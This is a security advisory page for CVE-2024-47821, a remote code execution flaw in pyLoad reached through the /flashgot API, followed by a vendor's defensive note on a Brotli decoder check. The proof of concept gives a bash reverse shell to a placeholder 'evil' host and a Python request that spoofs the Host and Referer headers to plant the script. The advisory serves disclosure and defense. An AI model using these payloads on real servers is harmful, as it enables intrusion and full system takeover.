CVE-2024-47821

EUVD-2024-3149 · Published Oct 28, 2024

pyLoad vulnerable to remote code execution by download to /.pyload/scripts using /flashgot API

Summary

The folder /.pyload/scripts has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in /scripts path and using the /flashgot API to download the file.

Details

Configuration changes

Change the download folder to /home/<user>/.pyload/scripts
Change permissions for downloaded files:
1. Change permissions of downloads: on
2. Permission mode for downloaded files: 0744

Making the request to download files

The flashgot API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.

Referer header check

def flashgot():
    if flask.request.referrer not in (
        "http://localhost:9666/flashgot",
        "http://127.0.0.1:9666/flashgot",
    ):
        flask.abort(500)
  ...

Host header check for local check

def local_check(func):
    @wraps(func)
    def wrapper(*args, **kwargs):
        remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
        http_host = flask.request.environ.get("HTTP_HOST", "0")

        if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (
            "127.0.0.1:9666",
            "[::1]:9666",
        ):
            return func(*args, **kwargs)
        else:
            return "Forbidden", 403

    return wrapper

Once the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed

PoC

Create a malicious file. I have created a reverse shell

#!/bin/bash
bash -i >& /dev/tcp/evil/9002 0>&1

Host this file at some URL, for eg: http://evil

Create a request like this for the flashgot API. I am using download_finished folder as the destination folder. Scripts in this folder are run when a download is completed.

import requests

url = "http://pyload/flashgot"
headers = {"host": "127.0.0.1:9666", "Referer": "http://127.0.0.1:9666/flashgot"}

data = {
    "package": "download_finished",  
    "passwords": "optional_password",  
    "urls": "http://evil/exp.sh",
    "autostart": 1,
}


response = requests.post(url, data=data, headers=headers)

When the above request is made, exp.sh will be downloaded to /scripts/download_finished folder. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.

I also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine

Screenshots

Download folder

exp.sh is downloaded

Script is run

Reverse shell connection is received

Impact

This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system

Technologies

Pyload PyloadPyload-Ng Pyload-Ng

Weaknesses

CWE-78

CVSS scores

v3.19.1CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

ReconImpact

Initial Access

T1190Exploit Public-Facing Application

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.